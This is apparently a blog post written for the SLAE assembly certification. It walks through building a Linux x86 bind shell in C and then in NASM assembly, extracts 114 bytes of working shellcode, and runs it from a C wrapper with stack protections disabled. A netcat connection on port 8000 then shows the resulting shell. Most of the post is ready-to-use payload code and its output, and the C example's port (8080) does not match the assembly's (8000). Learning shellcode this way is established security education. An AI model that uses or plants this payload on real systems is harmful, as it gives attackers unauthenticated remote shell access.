Whats a bind shell?
Bind tcp opens up a port on the victim’s system. When we connect to that port we get shell access to the victim’s system. Hence the term bind shell.
Today we write a bindshell in assembly and generate the shellcode that will give us a bind shell. Before that lets look at bind shell in C. This will help us construct our assembly program.
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
int main(void)
{
int clientfd, sockfd;
int dstport = 8080;
struct sockaddr_in mysockaddr;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
mysockaddr.sin_family = AF_INET; //2
mysockaddr.sin_port = htons(dstport); //8080
mysockaddr.sin_addr.s_addr = INADDR_ANY; //0
bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
listen(sockfd, 0);
clientfd = accept(sockfd, NULL, NULL);
dup2(clientfd, 0);
dup2(clientfd, 1);
dup2(clientfd, 2);
execve("/bin/sh", NULL, NULL);
return 0;
}
From the above C program we observe the following function calls are required for bind shell
socket
bind
listen
accept
dup2
execve
We will need to translate them into syscalls. Lets tackle one function call “at a time.
socket: To open a socket, we need to first understand the socketcall function. Below is the socketcall function from the man page
int socketcall(int call, unsigned long *args);
int call is the actual type of call which is “sys_socket” in our case. args points to a block containing the actual arguments, which are passed through to
the appropriate call.
What are the actual arguments?
sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
The following header files give us values for each argument
/usr/include/linux/in.h - IPPROTO_IP = 0, /* Dummy protocol for TCP */
/usr/include/bits/socket_type.h - SOCK_STREAM = 1
/usr/include/bits/socket.h - define AF_INET 2
General rule is that eax holds the syscall, ebx holds the first argument. ecx holds the second argument and edx holds the third argument.
Now lets push each argument on the stack in reverse order and move the address (esp) of the arguments into ecx.
xor edx, edx; flushing edx
push edx ; pushing third argument IPPROTO_IP//0
push byte 1 ; SOCKSTREAM tcp//1
push byte 2 ; AF_INET// 2
mov ecx, esp ; address of the arguments of sys_socket
ebx will store the type of socket call – sys_socket i.e 1 (#define SYS_SOCKET 1). eax will store the syscall for socketcall i.e 102 (#define __NR_socketcall 102). On success, a file descriptor for the new socket (sockfd) is returned which is stored in eax. We will copy it to edi for later use
xor eax, eax ; flushing eax
mov al, 102 ; #define __NR_socketcall 102
xor ebx, ebx ; flushing ebx
mov bl, 1 ; #define SYS_SOCKET 1
int 0x80 ; syscall
mov edi, eax ; storing the value of sockfd into edi for later use
bind:
Next lets look at the bind function call
bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
When a socket is created, it exists in a name space (address family) but has no address assigned to it. bind() assigns the address specified by addr to the socket referred to by the file descriptor sockfd.
lets first assign an address INADDR_ANY to 0 i.e bind all available interfaces, destination port htons(dstport) to 8000 i.e to bind using a destination port (8000) then store the address of mysockaddr into ebx temporarily
push edx ; INADDR_ANY//0
push word 0x401f ; dstport 8000
push word 2 ; AF_INET//2
mov ebx, esp ; address of mysockaddr
Now as per the socketcall function call
int socketcall(int call, unsigned long *args);
lets push the arguments to the bind function on the stack and store in the address of the arguments in ecx as per the socketcall function call
push byte 16 ; sizeof(mysockaddr)//16
push ebx ; push address of mysockaddr
push edi ; sockfd
mov ecx,esp ; address of bind function arguments
Now thats done, ebx will hold the type of call which is bind (#define SYS_BIND 2). eax will hold the syscall for socket call(#define __NR_socketcall 102)
xor ebx, ebx ; flushing ebx
mov bl, 2 ; #define SYS_BIND 2
xor eax, eax ; flushing eax
mov al, 102 ; #define __NR_socketcall 102
int 0x80 ; syscall
listen
The listen function call is pretty straight forward . We will push the appropriate arguments for listen on the stack and then move the address of the arguments into ecx. ebx will hold the type of call i.e 4 (#define SYS_LISTEN 4) followed by eax which holds 102 syscall for socketcall (#define __NR_socketcall 102)
listen(sockfd, 0);
;listen(sockfd, 0);
;int socketcall(int call, unsigned long *args);
; #define SYS_LISTEN 4
push edx ; NULL
push edi ; sockfd
mov ecx, esp ; address of listen function arguments
xor ebx, ebx ; flushing ebx
mov bl, 4 ; #define SYS_LISTEN 4
xor eax, eax ; flushing eax
mov al, 102 ; #define __NR_socketcall 102
int 0x80 ; syscall
accept
The accept function is to accept connections. Below is the accept function call. The return value is the client fd. Similar to above calls, we will push the arguments to accept function on the stack and place the address of the arguments into ecx. Type of call is accept i.e 5 (#define SYS_ACCEPT 5) . eax will hold the syscall for socketcall i.e 102(#define __NR_socketcall 102)
clientfd = accept(sockfd, NULL, NULL);
;clientfd = accept(sockfd, NULL, NULL);
;int socketcall(int call, unsigned long *args);
; #define SYS_ACCEPT 5
push edx ; NULL
push edx ; NULL
push edi ; sockfd
mov ecx, esp ; address of accept function arguments
xor ebx, ebx ; flushing ebx
mov bl, 5 ; #define SYS_ACCEPT 5
xor eax, eax ; flushing eax
mov al, 102 ; #define __NR_socketcall 102
int 0x80 ; syscall
dup2:
Next is dup2. Here we need to call dup2 3 times. From the previous syscall we know that eax holds clientfd. Lets place clientfd into ebx. The syscall for dup2 is 63 (#define __NR_dup2 63). Lets also place 2 into ecx and then run into a loop and decrement ecx till the signed flag is set.
;dup2(clientfd, 0);
;dup2(clientfd, 1);
;dup2(clientfd, 2);
;#define __NR_dup2 63
mov ebx, eax ; clientfd
xor eax, eax ; flushing eax
xor ecx, ecx ; flushing eax
mov cl, 2 ; 2 for stderr / 1 for stdout / 0 for stdin
dup2loop:
mov al, 63 ; #define __NR_dup2 63
int 0x80 ; syscall
dec ecx ; decrement ecx
jns dup2loop ; jump if not signed; loop until cl becomes 0
execve
Finally lets write our execve shellcode which executes /bin/sh. The comments below explain the assembly code.
; int execve(const char *filename, char *const argv[], char *const envp[]);
; execve("/bin/sh", NULL, NULL);
; push NULL terminated program/file name
xor eax, eax ; flushing eax
push eax ; NULL
; push //bin/sh
push 0x68732f6e ; hs/n
push 0x69622f2f ; nib//
mov ebx, esp ; address of //bin/sh
mov edx, eax ; NULL third argument envp
mov ecx, eax ; NULL second argument argv
mov al, 0xb ; #define __NR_execve 11
int 0x80
Lets put all the assembly code together to have our final bind shell assembly code
; /usr/include/i386-linux-gnu/asm/unistd_32.h
; /usr/include/linux/in.h IPPROTO_IP = 0, /* Dummy protocol for TCP */
; /usr/include/bits/socket_type.h SOCK_STREAM = 1
; /usr/include/bits/socket.h #define AF_INET 2
; /usr/include/linux/in.h #define INADDR_ANY ((unsigned long int) 0x00000000)
global _start
section .text
_start:
;sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
;int socketcall(int call, unsigned long *args);
; #define SYS_SOCKET 1
xor edx, edx; flushing edx
push edx ; pushing third argument IPPROTO_IP//0
push byte 1 ; SOCKSTREAM tcp//1
push byte 2 ; AF_INET// 2
mov ecx, esp ; address of the arguments of sys_socket
xor eax, eax ; flushing eax
mov al, 102 ; #define __NR_socketcall 102
xor ebx, ebx ; flushing ebx
mov bl, 1 ; #define SYS_SOCKET 1
int 0x80 ; syscall
mov edi, eax ; storing the value of sockfd into edi for later use
; mysockaddr.sin_family = AF_INET;//2
;mysockaddr.sin_port = htons(dstport);//8000
;mysockaddr.sin_addr.s_addr = INADDR_ANY;//0
;bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
;int socketcall(int call, unsigned long *args);
; #define SYS_BIND 2
push edx ; INADDR_ANY//0
push word 0x401f ; dstport 8000
push word 2 ; AF_INET//2
mov ebx, esp ; address of mysockaddr
push byte 16 ; sizeof(mysockaddr)//16
push ebx ; push address of mysockaddr
push edi ; sockfd
xor ebx, ebx ; flushing ebx
mov bl, 2 ; #define SYS_BIND 2
xor eax, eax ; flushing eax
mov al, 102 ; #define __NR_socketcall 102
mov ecx,esp ; address of bind function arguments
int 0x80 ; syscall
;listen(sockfd, 0);
;int socketcall(int call, unsigned long *args);
; #define SYS_LISTEN 4
push edx ; NULL
push edi ; sockfd
mov ecx, esp ; address of listen function arguments
xor ebx, ebx ; flushing ebx
mov bl, 4 ; #define SYS_LISTEN 4
xor eax, eax ; flushing eax
mov al, 102 ; #define __NR_socketcall 102
int 0x80 ; syscall
;clientfd = accept(sockfd, NULL, NULL);
;int socketcall(int call, unsigned long *args);
; #define SYS_ACCEPT 5
push edx ; NULL
push edx ; NULL
push edi ; sockfd
mov ecx, esp ; address of accept function arguments
xor ebx, ebx ; flushing ebx
mov bl, 5 ; #define SYS_ACCEPT 5
xor eax, eax ; flushing eax
mov al, 102 ; #define __NR_socketcall 102
int 0x80 ; syscall
;dup2(clientfd, 0);
;dup2(clientfd, 1);
;dup2(clientfd, 2);
;#define __NR_dup2 63
mov ebx, eax ; clientfd
xor eax, eax ; flushing eax
xor ecx, ecx ; flushing eax
mov cl, 2 ; 2 for stderr / 1 for stdout / 0 for stdin
dup2loop:
mov al, 63 ; #define __NR_dup2 63
int 0x80 ; syscall
dec ecx ; decrement ecx
jns dup2loop ; jump if not signed; loop until cl becomes 0
; int execve(const char *filename, char *const argv[], char *const envp[]);
; execve("/bin/sh", NULL, NULL);
; push NULL terminated program/file name
xor eax, eax ; flushing eax
push eax ; NULL
; push //bin/sh
push 0x68732f6e ; hs/n
push 0x69622f2f ; nib//
mov ebx, esp ; address of //bin/sh
mov edx, eax ; NULL third argument
mov ecx, eax ; NULL second argument
mov al, 0xb ; #define __NR_execve 11
int 0x80
Lets compile and link the program
ddpinto@ddpinto-VirtualBox:~$ ./compile.sh shell_bind_tcp
[+] Assembling with NASM ...
[+] Linking ...
[+] Done! ...
Lets extract shellcode using some cmdfu
ddpinto@ddpinto-VirtualBox:~$ objdump -d ./shell_bind_tcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\x31\xc0\xb0\x66\x31\xdb\xb3\x01\xcd\x80\x89\xc7\x52\x66\x68\x1f\x40\x66\x6a\x02\x89\xe3\x6a\x10\x53\x57\x31\xdb\xb3\x02\x31\xc0\xb0\x66\x89\xe1\xcd\x80\x52\x57\x89\xe1\x31\xdb\xb3\x04\x31\xc0\xb0\x66\xcd\x80\x52\x52\x57\x89\xe1\x31\xdb\xb3\x05\x31\xc0\xb0\x66\xcd\x80\x89\xc3\x31\xc0\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc2\x89\xc1\xb0\x0b\xcd\x80"
Lets embed the shellcode into our c wrapper
#include <stdio.h>
#include <strings.h>
unsigned char code[] = \
"\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\x31\xc0\xb0\x66\x31\xdb\xb3\x01\xcd\x80\x89\xc7\x52\x66\x68\x1f\x40\x66\x6a\x02\x89\xe3\x6a\x10\x53\x57\x31\xdb\xb3\x02\x31\xc0\xb0\x66\x89\xe1\xcd\x80\x52\x57\x89\xe1\x31\xdb\xb3\x04\x31\xc0\xb0\x66\xcd\x80\x52\x52\x57\x89\xe1\x31\xdb\xb3\x05\x31\xc0\xb0\x66\xcd\x80\x89\xc3\x31\xc0\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc2\x89\xc1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Lets compile the C code and run it
ddpinto@ddpinto-VirtualBox:~$ gcc -fno-stack-protector -z execstack shellcode_shell_bind_tcp.c -o shellcode_shell_bind_tcp
ddpinto@ddpinto-VirtualBox:~$ ./shellcode_shell_bind_tcp
Shellcode Length: 114
Lets test our bind shell by connecting on port 8000
ddpinto@ddpinto-VirtualBox:~$ nc -v 127.0.0.1 8000
Connection to 127.0.0.1 8000 port [tcp/*] succeeded!
whoami
ddpinto
id
uid=1000(ddpinto) gid=1000(ddpinto) groups=1000(ddpinto),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
Here you go, we have successfully written a bindshell
Github: https://github.com/buffered4ever/SLAE - 0x1
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: PA-1932